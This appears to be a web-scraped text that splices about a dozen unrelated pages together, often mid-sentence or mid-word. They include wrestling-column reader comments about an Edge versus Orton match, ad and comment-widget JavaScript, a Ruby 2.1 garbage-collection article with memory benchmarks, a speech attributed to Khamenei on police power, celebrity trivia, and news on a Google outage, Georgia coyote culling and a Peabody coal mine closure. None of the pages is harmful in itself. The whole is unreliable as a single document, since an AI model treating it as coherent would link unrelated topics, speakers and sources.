I’d like to say WWE will ‘live and learn’ – but who’d I be kidding?
Posted By: Jared
I was not a happy camper when Edge and Orton got thrown into MITB. Remember too that this was the first year they moved the number of participants from six to eight, which has made the match feel a bit crowded ever since. Your idea of booking a truly undefeated Edge would’ve worked out quite well, but it (shockingly) did not occur to WWE at the time.
Right on about everything! They’ve had a couple of good matches, if you also include their IC Title feud back in 2004.
But I was always under the impression Edge wasn’t 100% around WM23, which is why he was shuffled out of the $itB match so early. That would help to explain why these guys didn’t get a singles blow-off at ‘Mania.
Posted By: Sam!
I didn’t go into it last week, but Edge broke his jaw in his MITB qualifying match against RVD. I’m not aware of any other injuries he had, but it’s possible. And yeah, I think this was the reason he was taken out of the MITB match so early in.
This is the match that made Edge my favourite wrestler and i sure as hell remember it.
And it sucks cause at least one of (if not both) of these dudes should have won at mania this year.
Posted By: Guest#5311
Cena walking out with the title wasn’t so bad because you knew another Edge title reign was likely right around the corner. But Orton had been away from the WWE Title for a while, and his current reign would mean a hell of a lot more right now if it had begun in the final moments of WrestleMania.
F U Jim Grimm! You know you wanted DX back together in 06′ too! You were no different than any one else back then. Don’t even try to front playa!
Posted By: Aho
I would prefer you request I adjust my attitude, Aho. Can’t have that language here if the kids are going to buy my t-shirts. And yeah, I too was fooled by the warm fuzzy feelings of nostalgia at first, but it quickly became clear what a terrible mistake had been made.
I love this column. Great work again. I actually missed this RAW so I never saw the blowoff for RatedRKO and had truly forgotten about it, even though I was anticipating their upcoming fued.
Kennedy screwed that by becoming injured, but given his recent status, I guess that was a blessing in disguise. Also, I could be wrong, but I’m pretty sure Cena/Michaels got an hour long match because Orton had done some stupid shit on tour. Edge was also apparently having injury problems around WM23…
It’s possible I’m really wrong though, hah.
Posted By: Banz
Thanks, Banz. About Kennedy, it was more bad luck than anything that screwed him. Initially they had projected him to be out of action for several weeks longer than he actually needed, and so they immediately rushed into taking the MITB contract away. Even now this still seems like an unnecessary move to me, considering the contract is supposedly good for an entire year. The MITB would’ve added that much more intrigue to the dude’s eventual return to the ring. And I’m not sure about Orton’s bad behavior, but I wouldn’t rule it out. And like I said above, Edge had a broken jaw.
Good to see someone finally remind us about this match. Its been one of my fav tv match
Posted By: smackdown02-03rockd
A great match. One that I’d say is on par with the ‘rockd’-ness of SmackDown in ’02 and ’03.
“This match should have happened at WrestleMania 23”
I may be wrong, but wasn’t Edge injured in the weeks leading up to Wrestlemania 23? I seem to remember there being some worries about whether he’d even be able to wrestle in the MITB match.
Posted By: Adam
The only injury I’m aware of was suffered in his MITB qualifier against RVD. This means that they’d already decided to put Edge (and presumably Orton) into the MITB match before he was injured. If they hadn’t booked MITB that way, Edge would’ve never had that match with RVD and the injury would’ve never occurred. Oh, and we’d have had a Rated RKO WrestleMania blowoff. Moral of the story: RVD>Fate.
While I do not and would not ever wish injury upon a wrestler, HHH’s quad tear at NYR 2007 was really a blessing for the Raw main event. Instead of Rated RKO being buried, they could claim to have ended DX – which was their original goal. Instead of returning HHH the favour for WM22, Cena got to go over HBK at WM23 and solidify his position as THE man. And of course Shawn really came into his own once he was done with DX.
But I do agree with the article that this match should have happened at WM23. Edge and Randy were above MITB and deserved a feud-ending match on the biggest show of the year.
Posted By: jobbers
The matches between Cena and HBK during that time were excellent stuff, way better than what we would’ve gotten out of a Cena-HHH feud. Cena’s WM 23 match with Shawn was far superior to his outing against HHH a year prior in my estimation.
I think Orton was in the doghouse too around that time, which is why he was jobbing out. They didn’t have the match until after Backlash because Orton was sent home from Raw, which is why Cena/HBK got an hour.
Thinking back on it, it’s crazy how Orton quickly shot up the card after he got his act together, he quickly became the uber-heel that he is now.
Posted By: D-Man
Orton is a completely different man now when compared to Rated RKO. At the time I commented to a buddy of mine that Orton had ended up just like his old man, only getting over by latching onto and supporting a stronger heel, that he had become the Ace to Edge’s HotRod. Just a couple of years later and Orton has completely proven me wrong, becoming the uber-heel you describe. My hat’s off to Randy. There was a time when nobody thought he was ever going to come out of that post-face-turn slump.
This is a better match then the 2004 match, which had a good final 10 minutes but the opening 15 was pretty boring with too many Orton chinlocks.
Posted By: jbardo
Thankfully Orton has learned to not rely on the Chinlock so much these days. However, there was a time …
i think every mark on here just messed themselves
Posted By: Guest#5786
You say “every” like you know how many people named Mark read this thing. And what would make them lose control of their bodily functions? Geez, Guest#5786…
I remember three or four excellent 1-on-1 matches between these two (Vengeance ’04, the Raw rematch thereto, etc.) They work together really, really well. Too bad they’re the two best heels the company has had in a decade and probably won’t be working against each other again in the foreseeable future.
Posted By: KanyonKreist
Eventually, according to Sam Cooke, change is gonna come. And I believe him. Edge, Orton, and Jericho are the top three heels in WWE right now. Edge and Jericho have more than proven themselves in the past as efficient babyfaces, and Orton has had his moments of face greatness here and there. Edge and Orton have been working as heels for several years now, just about as long as guys like Batista and John Cena have been standing up as the good guys. Eventually they’re going to want to freshen things up, and one or two of these guys is going to undergo a change. But none of this is going to happen until the kids stop chanting for Cena, so I wouldn’t hold my breath.
“Just like a Taz Facebook post, DX had finally crossed the line.”
Okay, I literally spit reading that. Well done.
The WWF Championship match at Royal Rumble 2001 between Kurt Angle and Triple H was heel/heel and it was pretty good. Granted, Hunter was quasi-face but, like Orton, that was more anti-Angle than pro-Game. And Austin’s run-in to set up No Way Out definitely solidified HHHs heel status.
Posted By: neverAcquiesce
I can’t believe I forgot about that since I used to be such a huge mark for Angle, but you’re damn right. Great heel vs. heel match. A great Rumble card overall actually.
I am so glad to hear some DX hate; I couldn’t agree more with your assessment of their horrid reign during 2006. As a long-time hater of HBK (and, to a much lesser degree, HHH), the last thing I wanted to see every week was the burial of young guys by these two, and the constant main events against the McMahons. But at least we got this match as a result… Good read, man.
Posted By: Guest#6900
Ah, 2006. I’ll be happy if I never see another Handicap match again. But until HHH retires, I don’t think I’ll get my wish.
Speaking of heel vs heel matches, I started to get into wrestling in 1992 and one of the first PPVs I saw was Summerslam 1992. There was a heel vs heel match between HBK and Rick Martel(fighting over Sherri) and I thought it was really well done. Agree that more heel vs heel would be good. I wouldn’t mind seeing Edge vs Y2J sometime this year.
Posted By: showster
Edge vs. Jericho would be mighty interesting. I’m curious to see who would get more face heat out of the two if they ran a straight heel vs. heel program.
I like hot ham and cheese
Posted By: cutesy mcbuttons
Oh, Cutesy.
They’re holding hands in that last picture
Posted By: Lexi
Upon further investigation, it would seem that Edge and Randall are indeed sharing a moment together in said photograph. No further information exists at this time regarding the extent of their intimacy in early 2007.
I quite liked the Lesnar vs Big Show heel vs heel match at SS02.
Posted By: RB
From what I remember, Lesnar was being booked more and more as a face following his HIAC with Taker at No Mercy. He was constantly defying Heyman’s orders and standing up for himself, which led to Heyman stabbing him in the back at Survivor Series. Character affiliations aside, I agree that it was a good match worth revisiting. Lesnar was one of the few guys who could pull out consistently entertaining matches with Big Show.
you forgot to mention that this match was supposed to happen on the RAW before backlash, but cena and shawn went for an hour long match and orton was sent home for the hotel incident
Posted By: Guest#0297
I did cover just about all of that, just not Orton’s behavioral problems.
Wasn’t this feud shortened mainly because Batista got injured, so they moved Edge to SD and made him champion? If so, that’s the big culprit.
Posted By: JLAJRC
Undertaker and Kennedy both went down with injuries. Since they apparently didn’t want to put the belt on Batista, Edge won Kennedy’s MITB contract and then jumped to SD to cash in on a weakened Undertaker.
F U Jim Grimm! You know you wanted DX back together in 06′ too! You were no different than any one else back then. Don’t even try to front playa!
Posted By: Aho
Start smacking yourself for this was an awesome overview of these two and their chimpionship rise to stardom again(well for edge that is…)
Keep it PG 13 ya dumbass bastard! LOL
Posted By: guest1228
Thank you, Guest1228. At least someone realizes my need to cater to children and milk their parents of all their money.
i didn’t watch the raw when orton and edge had that match and i finally got to see it when i watched the edge dvd and it is a brillant match that i would of loved to seen live. whats your thoughts on the edge dvd Jim?
Posted By: Craig J
The Edge DVD, like most of the E’s career DVDs, reeks of awesomeness. And no, I don’t get paid to say that, but yes, I am willing to take money if anyone from WWE is reading this.
Really they could’ve thrown any matches on that DVD and I would’ve gone nuts over it just because I’m a huge Edge mark. But the Decade of Decadence release, although way too light on E&C greatness, is well worth its price tag. It gets a little Taker-heavy on the third disc, but each match is damn entertaining.
I admire your disdain for Damn DX.
Posted By: Propagandhi
Not a great time in Raw history by any means. At least during their segments.
I was going through some old tapes last week and came upon another heel/heel match and one that was quite significant for other reasons as well: Stone Cold Steve Austin -vs- Hunter Hearst-Helmsley from In Your House: Buried Alive in October 1996. Austin was just coming into his own and was getting some face pops here and there but was really only cheered in this match because Hunter was such an arrogant ass.
Plus, in addition to being heel versus heel, it was the first televised (that I can recall) meeting of two men who would, just two years later, become huge stars for the company and headline PPVs together a year after that.
And it was a good match on top of all that.
Posted By: neverAcquiesce
I completely forgot about this one too. I haven’t seen it in quite a while, so I guess I’m going to YouTube once I finish this article. This is definitely a possibility for a future column. Good call!
– –
That’ll do it for this week. Kind of a lengthy go-round this week but I guess it’s necessary when explaining Russo’s booking. Until next time, everybody try to stay safe and out of Mexico.
(function() {
var params =
{
id: “7a26260d-4489-454c-92f3-208a14eeaa91”,
d: “NDExbWFuaWEuY29t”,
wid: “10064”,
cb: (new Date()).getTime()
};
var qs=”;
for(var key in params){qs+=key+”=”+params[key]+”&”}
qs=qs.substring(0,qs.length-1);
var s = document.createElement(“script”);
s.type= ‘text/javascript’;
s.src = “http://api.content.ad/Scripts/widget.aspx?” + qs;
s.async = true;
document.getElementById(“contentad10064”).appendChild(s);
})();
/* * * CONFIGURATION VARIABLES: EDIT BEFORE PASTING INTO YOUR WEBPAGE * * */
var disqus_shortname = ‘411mania’; // required: replace example with your forum shortname
var disqus_identifier = ‘article_103368’;
/* * * DON’T EDIT BELOW THIS LINE * * */
(function() {
var dsq = document.createElement(‘script’); dsq.type = ‘text/javascript’; dsq.async = true;
dsq.src = ‘http://’ + disqus_shortname + ‘.disqus.com/embed.js’;
(document.getElementsByTagName(‘head’)[0] || document.getElementsByTagName(‘body’)[0]).appendChild(dsq);
})();
Please enable JavaScript to view the comments powered by Disqus.
comments powered by DisqusMax Verstappen says he “really perplexed” by Lewis Hamilton’s life outside of Formula 1 but that clearly it works for him.
Hamilton secured his fourth World title last month in Mexico, writing his name into Formula 1’s record books as only the fifth driver to achieve that feat.
Second only behind Michael Schumacher in the wins’ column, Hamilton’s results have put to rest criticism about his lifestyle outside of Formula 1.
It does, however, still leave some of his rivals rather confused.
“I don’t follow many drivers on social media,” Verstappen told Dutch newspaper De Telegraaf.
“I follow Daniel (Ricciardo). And Lewis. And Pierre (Gasly) because he’s a nice guy.
“When I see what Lewis does in his free time, I’m sometimes really perplexed.
“He does so much!
“It’s his life and he wins races and championships so it’s fine. You can hardly say it doesn’t work for him.”What’s coming soon on VOD in the UK? We’ve got a handy list of this month’s video on-demand releases – covering Netflix UK, Amazon Prime Video, BBC Three, Walter Presents, Amazon Instant Video, MUBI, iTunes, TalkTalk TV store, Virgin Movies, NOW TV, FilmDoo, We Are Colony, Wuaki.tv and more.
Choose your VOD service for a full, easy-to-read breakdown of future release dates – or scroll down for a searchable calendar of the month’s new titles across all VOD platforms.
Note: Future release dates for Netflix UK and Amazon Prime can vary and some titles we are not allowed to announce yet. This page is therefore constantly being updated.
(Head this way for a list of what’s new on Netflix UK. For a list of new releases on Prime Instant Video, click here.)Democracy
You should not confuse power with crossing boundaries and moving forward in an unbridled way. For example, in some countries – such as America – the police is very powerful. They show muscle-bound people on camera who work as police officers and who arrest the people in the middle of the arena. Well, they are powerful, but they kill the innocent. For example, they kill a person by shooting 15, 16 bullets at him with the excuse that he wanted to draw a gun. This power is not an ideal power because it is accompanied by oppression. This is a kind of power which will not lead to security in the end. On the contrary, it will lead to insecurity. In fact, it is the main factor in creating insecurity. And as you have heard, when they go to a court of law, they acquit them.
Unfortunately today as you can witness, these events are many in a world that is indifferent to spiritual values. Now, the funny part is that in America – whose president is a black – many crimes are committed against blacks. They have a celebration on the occasion of abolishing slavery, which was done by a certain president, but they oppress blacks in a very cruel way.
Of course, there are certain criticisms about the abolishment of slavery. They say that Abraham Lincoln abolished slavery, but this is not the truth of the matter according to historical research that has been carried out in a careful way. The issue was not the issue of abolishing slavery. Rather, it was the issue of the north and the south. It was the issue of long and deep-rooted wars between the north and south of America. It was a fight between landowners and agriculture, and industry. This was the main source of contention. They did not abolish slavery because of altruistic feelings.
In any case, despite this celebration, blacks are ignored and humiliated. Besides, their lives are in danger as well. Such police power is not what Islam and we want. We do not at all like to give a cinematic and Hollywood-like color to our police work on the streets. We want tasks to be carried out in the real sense of the word. That is to say, we want complete authority and power accompanied by justice, kindness and mercy – in certain cases, power should be accompanied by mercy. This is the manifestation of Islam. On the one hand, the Holy Being is Beneficent and Merciful and on the other hand, He is a Great Punisher. These two things should be considered together. This should spread in the different levels of the pyramid and affect our lives, behavior and affairs. The same thing should be done in the Police Force.
Ayatollah Khamenei’s Speech in Meeting with Police Commanders 26/4/2015The article “Ruby Garbage Collection: Still Not Ready for Production” has been making the rounds.
In it we learned that our GC algorithm is flawed and were prescribed some rather drastic and dangerous workarounds.
At the core it had one big demonstration:
Run this on Ruby 2.1.1 and you will be out of memory soon:
while true "a" * (1024 ** 2) end
Malloc limits, Ruby and you
From very early versions of Ruby we always tracked memory allocation. This is why I found FUD comments such as this troubling:
the issue is that the Ruby GC is triggered on total number of objects, and not total amount of used memory
This is clearly misunderstanding Ruby. In fact, the aforementioned article does nothing to mention memory allocation may trigger a GC.
Historically Ruby was quite conservative issuing GCs based on the amount of memory allocated. Ruby keeps track of all memory allocated (using malloc) outside of the Ruby heaps between GCs. In Ruby 2.0, out-of-the-box every 8MB of allocations will result in a full GC. This number is way too small for almost any Rails app, which is why increasing RUBY_GC_MALLOC_LIMIT is one of the most cargo culted settings out there in the wild.
Matz picked this tiny number years ago when it was a reasonable default, however it was not revised till Ruby 2.1 landed.
For Ruby 2.1 Koichi decided to revamp this sub-system. The goal was to have defaults that work well for both scripts and web apps.
Instead of having a single malloc limit for our app, we now have a starting point malloc limit that will dynamically grow every time we trigger a GC by exceeding the limit. To stop unbound growth of the limit we have max values set.
We track memory allocations from 2 points in time:
memory allocated outside Ruby heaps since last minor GC
memory allocated since last major GC.
At any point in time we can get a snapshot of the current situation with GC.stat:
> GC.stat => {:count=>25, :heap_used=>263, :heap_length=>406, :heap_increment=>143, :heap_live_slot=>106806, :heap_free_slot=>398, :heap_final_slot=>0, :heap_swept_slot=>25258, :heap_eden_page_length=>263, :heap_tomb_page_length=>0, :total_allocated_object=>620998, :total_freed_object=>514192, :malloc_increase=>1572992, :malloc_limit=>16777216, :minor_gc_count=>21, :major_gc_count=>4, :remembered_shady_object=>1233, :remembered_shady_object_limit=>1694, :old_object=>65229, :old_object_limit=>93260, :oldmalloc_increase=>2298872, :oldmalloc_limit=>16777216}
malloc_increase denotes the amount of memory we allocated since the last minor GC. oldmalloc_increase the amount since last major GC.
We can tune our settings, from “Ruby 2.1 Out-of-Band GC”:
RUBY_GC_MALLOC_LIMIT: (default: 16MB)
RUBY_GC_MALLOC_LIMIT_MAX: (default: 32MB)
RUBY_GC_MALLOC_LIMIT_GROWTH_FACTOR: (default: 1.4x)
and
RUBY_GC_OLDMALLOC_LIMIT: (default: 16MB)
RUBY_GC_OLDMALLOC_LIMIT_MAX: (default: 128MB)
RUBY_GC_OLDMALLOC_LIMIT_GROWTH_FACTOR: (default: 1.2x)
So, in theory, this unbound memory growth is not possible for the script above. The two MAX values should just cap the growth and force GCs.
However, this is not the case in Ruby 2.1.1
Investigating the issue
We spent a lot of time ensuring we had extensive instrumentation built in to Ruby 2.1, we added memory profiling hooks, we added GC hooks, we exposed a large amount of internal information. This has certainly paid off.
Analyzing the issue raised by this mini script is trivial using the gc_tracer gem. This gem allows us to get a very detailed snapshot of the system every time a GC is triggered and store it in a text file, easily consumable by spreadsheet.
We simply add this to the rogue script:
require 'gc_tracer' GC::Tracer.start_logging("log.txt")
And get a very detailed trace back in the text file:
In the snippet above we can see minor GCs being triggered by exceeding malloc limits (where major_by is 0) and major GCs being triggered by exceeding malloc limits. We can see out malloc limit and old malloc limit growing. We can see when GC starts and ends, and lots more.
Trouble is, our limit max for both oldmalloc and malloc grows well beyond the max values we have defined:
So, bottom line is, looks like we have a straight out bug.
https://bugs.ruby-lang.org/issues/9687
I one line bug, that will be patched in Ruby 2.1.2 and is already fixed in master.
Are you affected by this bug?
It is possible your production app on Ruby 2.1.1 is impacted by this. Simplest way to find out is to issue a GC.stat as soon as memory usage is really high.
The script above is very aggressive and triggers the pathological issue, it is quite possibly you are not even pushing against malloc limits. Only way to find out is measure.
General memory growth under Ruby 2.1.1
A more complicated issue we need to tackle is the more common “memory doubling” issue under Ruby 2.1.1. The general complaint goes something along the line of “I just upgraded Ruby and now my RSS has doubled”
This issue is described in details here: Bug #9607: Change the full GC timing - Ruby trunk - Ruby Issue Tracking System
Memory usage growth is partly unavoidable when employing a generational GC. A certain section of the heap is getting scanned far less often. It’s a performance/memory trade-off. That said, the algorithm used in 2.1 is a bit too simplistic.
If ever an objects survives a minor GC it will be flagged as oldgen, these objects will only be scanned during a major GC. This algorithm is particularly problematic for web applications.
Web applications perform a large amount of “medium” lived memory allocations. A large number of objects are needed for the lifetime of a web request. If a minor GC hits in the middle of a web request we will “promote” a bunch of objects to the “long lived” oldgen even though they will no longer be needed at the end of the request.
This has a few bad side effects,
It forces major GC to run more often (growth of oldgen is a trigger for running a major GC) It forces the oldgen heaps to grow beyond what we need. A bunch of memory is retained when it is clearly not needed.
.NET and Java employ 3 generations to overcome this issue. Survivors in Gen 0 collections are promoted to Gen 1 and so on.
Koichi is planning on refining the current algorithm to employ a somewhat similar technique of deferred promotion. Instead of promoting objects to oldgen on first minor GC and object will have to survive two minor GCs to be promoted. This means that if no more than 1 minor GC runs during a request our heaps will be able to stay at optimal sizes. This work is already prototyped into Ruby 2.1 see RGENGC_THREEGEN in gc.c (note, the name is likely to change). This is slotted to be released in Ruby 2.2
We can see this problem in action using this somewhat simplistic test:
@retained = [] @rand = Random.new(999) MAX_STRING_SIZE = 100 def stress(allocate_count, retain_count, chunk_size) chunk = [] while retain_count > 0 || allocate_count > 0 if retain_count == 0 || (@rand.rand < 0.5 && allocate_count > 0) chunk << " " * (@rand.rand * MAX_STRING_SIZE).to_i allocate_count -= 1 if chunk.length > chunk_size chunk = [] end else @retained << " " * (@rand.rand * MAX_STRING_SIZE).to_i retain_count -= 1 end end end start = Time.now # simulate rails boot, 2M objects allocated 600K retained in memory stress(2_000_000, 600_000, 200_000) # simulate 100 requests that allocate 100K objects stress(10_000_000, 0, 100_000) puts "Duration: #{(Time.now - start).to_f}" puts "RSS: #{`ps -eo rss,pid | grep #{Process.pid} | grep -v grep | awk '{ print $1; }'`}"
In Ruby 2.0 we get:
% ruby stress.rb Duration: 10.074556277 RSS: 122784
In Ruby 2.1.1 we get:
% ruby stress.rb Duration: 7.031792076 RSS: 236244
Performance has improved, but memory almost doubled.
To mitigate the current pain point we can use the new RUBY_GC_HEAP_OLDOBJECT_LIMIT_FACTOR environment var.
Out of the box we trigger a major gc if our oldobject count doubles. We can tune this down to say 1.3 times and see a significant improvement memory wise:
% RUBY_GC_HEAP_OLDOBJECT_LIMIT_FACTOR=1.3 ruby stress.rb Duration: 6.85115156 RSS: 184928
On memory constrained machines we can go even further and disable generational GC altogether.
% RUBY_GC_HEAP_OLDOBJECT_LIMIT_FACTOR=0.9 ruby stress.rb Duration: 6.759709765 RSS: 149728
We can always add jemalloc for good measure to shave off an extra 10% percent or so:
LD_PRELOAD=/home/sam/Source/jemalloc-3.5.0/lib/libjemalloc.so RUBY_GC_HEAP_OLDOBJECT_LIMIT_FACTOR=0.9 ruby stress.rb Duration: 6.204024629 RSS: 144440
If that is still not enough you can push malloc limits down (and have more GCs run due to hitting it)
% RUBY_GC_MALLOC_LIMIT_MAX=8000000 RUBY_GC_OLDMALLOC_LIMIT_MAX=8000000 LD_PRELOAD=/home/sam/Source/jemalloc-3.5.0/lib/libjemalloc.so RUBY_GC_HEAP_OLDOBJECT_LIMIT_FACTOR=0.9 ruby stress.rb Duration: 9.02354988 RSS: 120668
Which is nice since we are back to Ruby 2.0 numbers now and lost a pile of performance.
Ruby 2.1 is ready for production
Ruby 2.1 has been running in production at GitHub for a few months with great success. The 2.1.0 release was a little rough 2.1.1 addresses the majority of the big issues |
emy Rights Day”:
The name change is meant to “emphasize the important connection that we think there is between blasphemy and the right to free speech,” said Ronald Lindsay, president and CEO of CFI. Lindsay said some critics “interpreted blasphemy in its crudest form” but “blasphemy is a wider concept than that.” Although many people scoffed at last year’s campaign, he said, the center believes religion is not, and should not be, immune from criticism. “Religious beliefs should be on the same level of political beliefs,” Lindsay said.
It’s a smart move on their part.
I would hope people use the occasion to show people the importance of putting religion under the microscope and treating those beliefs like we would most other kinds of beliefs — with close scrutiny and warranted criticism.
I think it’s just a wasted opportunity if you use the day to say something like, “Fuck Jesus and Allah!” You could do it. But what would that accomplish? Like-minded friends might cheer you on, while everyone else just ignores you (at best) or retaliates (at worst). Would you really be getting a message across to the people who need to hear it the most?
The day should be about protecting everyone’s right to blaspheme. In some countries, that’s not allowed. In those places, you can face the death penalty for committing the victimless “crime.” Think about how we can conquer that sort of behavior instead of focusing on how you can piss off a group of religious people.
(via The Invisible Pink Unicorn)It was a Googler misconfiguring a sync server that took out Chrome and Gmail on Monday, an engineer has stated on dev forums.
The reason for Gmail's brief burnout on Monday has been winkled out, and it was connected to the rolling crashes suffered on the Chrome browser on the same day.
It was a human error in configuring a Chrome component that throttled traffic in Chrome and then on several other Google services, explained Chrome engineer Tim Steele in a post on the Google code forum.
The component controlled traffic for Chrome Sync - a service that allows users to synchronise their customised Chrome browser across all of their devices, giving them the same bookmarks, widgets, settings and browsing history.
A small change to its configuration settings meant the load-balancing component started to throttle traffic when it wasn't supposed to. And because the component is core to the infrastructure that many Google services depend on, it affected them too.
It was Chrome Sync users who were hit by the outage first.
Steele explained:
- Chrome Sync Server relies on a backend infrastructure component to enforce quotas on per-datatype sync traffic.
- That quota service experienced traffic problems today due to a faulty load balancing configuration change.
- That change was to a core piece of infrastructure that many services at Google depend on. This means other services may have been affected at the same time, leading to the confounding original title [the Gmail bug] of this bug.
- Because of the quota service failure, Chrome Sync servers reacted too conservatively by telling clients to throttle "all" data types, without accounting for the fact that not all client versions support all data types. The crash is due to faulty logic responsible for handling "throttled" data types on the client when the data types are unrecognized.
There is WRONG in the cloud. ®Overview (3)
Mini Bio (1)
George Robert Wendt III was born and raised in Chicago, Illinois, USA, to Loretta Mary (Howard) and George Robert Wendt, who was a realtor and navy officer. He attended a strict Jesuit prep school and then dropped out of Notre Dame University after a few uneventful years. He worked with the Windy City's famed Second City comedy troupe from 1974-1980. He is best known for playing Norm Peterson on the hit televison series, Cheers (1982). He is married to actress Bernadette Birkett, who provided the rare offscreen voice of Norm's unseen wife Vera. The couple have two sons and a daughter. They met while working at the Second City in Chicago.
- IMDb Mini Biography By: Anonymous
Spouse (1)
Trade Mark (2)
Short, stocky frame
Heavy Chicago accent
Trivia (16)
Graduate of Rockhurst College (now known as Rockhurst University) in Kansas City, MO.
Attended University of Notre Dame in South Bend, Indiana for 2 years.
Wendt's maternal grandfather was Tom Howard, a photographer for the Washington bureau of P & A Photographs, who took one of the most famous news photos ever: of murderess Ruth Snyder as she was executed at Sing Sing Prison on January 12, 1928. He modified his miniature plate camera with a long shutter release, then smuggled it into the witness room by strapping it onto his left ankle. The photo was on the front page of the next morning's New York Daily News under the headline: DEAD! The camera is at the Smithsonian Institution.
Along with Ted Danson and Rhea Perlman, he is one of only three actors to appear in all 273 episodes of Cheers (1982).
In a tribute George wrote for the Second City book, he said that when he joined Second City, it wasn't directly through the troupe as a performer. He had studied the shows for a while and befriended an employee whom he asked about joining. She told him to show up after a performance one day in the afternoon, which he subsequently did. The stage area was littered with cigarette butts, when the woman handed him a broom and said "Welcome to the theater, kid."
Is an avid Notre Dame football fan. Always attends the Notre Dame-vs.-USC game when held in Pasadena, California, every two years.
Children: Hilary Wendt (b. 1985), Joe Wendt (b. 1987) and Daniel Wendt (b. 1990) with Bernadette Birkett
He is of German (from his paternal grandfather) and Irish descent.
Playing Edna Turnblad in Hairspray on Broadway [March 2008]
Opened in the play, "12 Angry Men" in Dallas, co-starring Richard Thomas. [February 2007]
Was Originally going to play Steve Harvey's roommate on The Steve Harvey Show(1996) but the role had went to Cedric The Entertainer.
Personal Quotes (1)
Improvising is best left to those who really love it. Improvising itself is kind of fun, but the apprehension before the improv is not. I don't think that fast; I can't write that fast. Some people can look at a bunch of suggestions and can come up with a premise, but that was never my long suit.The Associated Press - GAINESVILLE, Ga. (AP) - More than 160 coyotes have been killed in Georgia since the state's "coyote challenge" for hunters and trappers began in April.
The Times reports that the Georgia Department of Natural Resource's program allows hunters and trappers the chance to win a lifetime sporting license by killing up to five coyotes each month.
Each kill counts as an entry in the monthly raffle. The Gainesville newspaper reports that so far, more than 40 people have participated in the program, which continues until August.
State wildlife officials say coyotes are now present in large numbers in every county in Georgia. They range from 15 to 30 pounds and usually travel in packs.
State officials say the animals are unprotected, invasive animals that prey on calves, chickens, other livestock and pets.Peabody closes Illinois mine after miner’s death, laying off 400
By Clement Daly
10 December 2012
St. Louis-based Peabody Energy has announced it will permanently close its Willow Lake Mine in southern Illinois after a miner was crushed to death last month. Some 400 workers at the mine, operated by Peabody subsidiary Big Ridge Inc., have already received layoff notices.
In a company statement, Peabody claimed that “The mine has failed to meet acceptable standards for safety, compliance and operating performance, and these ongoing issues make the operations unsustainable.”
On November 17, 30-year-old Chad Wayne Meyers of Goreville was crushed to death between a coal rib and a continuous mining machine. The mine had since been idled on a federal Mine Safety and Health Administration (MSHA) closure order while the accident was being investigated.
Meyers is the second miner to be killed at the mine in little more than two years. In July 2010, 61-year-old section foreman Thomas N. Brown was killed after he was struck and run over by a 20-ton loaded shuttle car just weeks before his retirement. (See “Coal miner killed in Illinois mine”)
Willow Lake has long been plagued with safety problems, with the mine being cited by MSHA in December 2008 and January 2009 for “reckless disregard of or indifference to its safety and health responsibilities, intentional misconduct or a serious lack of reasonable care.” Peabody was issued $230,000 in fines related to inadequate roof fall protection and excessive combustible materials.
The mine was then identified by MSHA in the aftermath of the April 2010 Upper Big Branch disaster as one of 57 mines with dangerous operating conditions.
In November 2011, Willow Lake was put on notice as a potential pattern of violation (PPOV) mine after 12 months of inspections resulted in 214 significant and substantial (S&S) citations. S&S violations are those in which “there exists a reasonable likelihood the hazard contributed to will result in an injury or illness of a reasonably serious nature.”
Of the 214 violations, 88 were classified as “high” or “reckless disregard,” the latter of which indicates that “The operator displayed conduct which exhibits the absence of the slightest degree of care.” The mine currently has millions of dollars in outstanding fines and has had more than 800 citations issued to it this year.
Such operating conditions can only be described as criminal, and MSHA’s role in allowing such operations to continue exposes its complicity in the crime.
The underground Willow Lake Mine opened in 2002 and operated year-round, seven days a week, employing about 460 workers. A few dozen workers at the mine’s preparation plant which services two other area mines are expected to continue working.
Both the company and the United Mine Workers of America (UMWA) are denying recent labor troubles have had any bearing on the decision to close the mine. “We don’t attribute this to any breakdown in labor/management relations,” claimed union spokesman Phil Smith.
The union won representation of the workforce in a bitterly contested election in May 2011, becoming one of only two Peabody operations that are organized. In December of that year, the National Labor Relations Board (NLRB) found that “by threatening employees with mine closure, job loss, and other unspecified reprisals if or because the employees supported the UWMA... the Employer has engaged in unfair labor practices.” The administrative law judge in the case also ordered the company to reinstate 28-year veteran miner Wade Waller, who was illegally fired during the organizing campaign.
When the company continued to refuse to recognize the union, the UMWA was granted a court injunction in late April 2012 ordering the company to cease engaging in anti-union threats and reprisals and reinstate the still victimized Waller.
The union has offered no serious resistance to the mine closure or the layoffs, merely holding an informational meeting for the laid-off miners on its continuing negotiations with the company and vowing to push for benefits in excess of the mandated 60-days’ worth.
Like MSHA, the UMWA lends its services to insure such dangerous operations are not closed down. According to the Daily American, “The union knew of safety problems and were making suggestions to Peabody to improve safety. Union inspectors were prepared to address safety issues in the mine and make sure they were fixed before Mine Safety and Health Administration inspectors found them and issued fines. The union was recommending management adjustments.”
Moreover, the union bureaucracy has come to the company’s defense with UMWA Vice President and Region 3 Director Steve Earle attributing the closure to a drain of money due to MSHA fines, operating costs and low productivity as the reality. “They lost $1.2 million in September alone,” Earle explained.
“I thought we were really making progress,” claimed Earle. “I was cautiously optimistic we were going to work out an agreement they could still prosper and make money under.”
Negotiations are continuing for the 24 to 36 employees at the preparation plant. “We are still negotiating a contract for the preparation plant which processes coal from the surface mine across the road,” said Smith. “We have no reason to assume we can’t reach an agreement.”
Peabody—the world’s largest private-sector coal company—reported a second-quarter profit of $42.9 million. Last year, Willow Lake sold about 2.2 million tons of coal. The company reported that the mine’s closing will result in a one-time expense of $40 million to $60 million.
The closure of the mine will have a devastating effect on the area, which has an unemployment rate of 8.6 percent and is still recovering from an E4 tornado that leveled parts of nearby Harrisburg, Illinois in February, killing eight people.
Harrisburg Mayor Eric Gregg recalled how “Willow Lake crews with coal dust on their faces [came] running into apartments hit by the tornado and put themselves in harm’s way trying to find those who were hurt.” “These people are nothing short of heroes to me,” he added.
“This mine closure is going to impact more than our county. It is going to affect three states,” said Saline County Board Chairman Jay Williams. Many of the workers travel to the mine from nearby Kentucky and Indiana.
The action comes on the heels of Peabody’s decision to close its Air Quality mine in southwest Indiana in September, affecting some 230 workers, as well as the layoff of 54 miners at American Coal mine near Galatia, Illinois (less than 20 miles from Willow Lake) by Murray Energy last month. (See “Murray Energy lays off 160 miners in response to Obama’s reelection”)Maho Beach is a beach on the Dutch side of the Caribbean island of Saint Martin, in the territory of Sint Maarten. It is famous for being adjacent to the Princess Juliana International Airport, and is a popular site for tourists and planewatchers, who visit the beach to watch aircraft on final approach landing at the airport, passing only a short distance above their heads.
Location [ edit ]
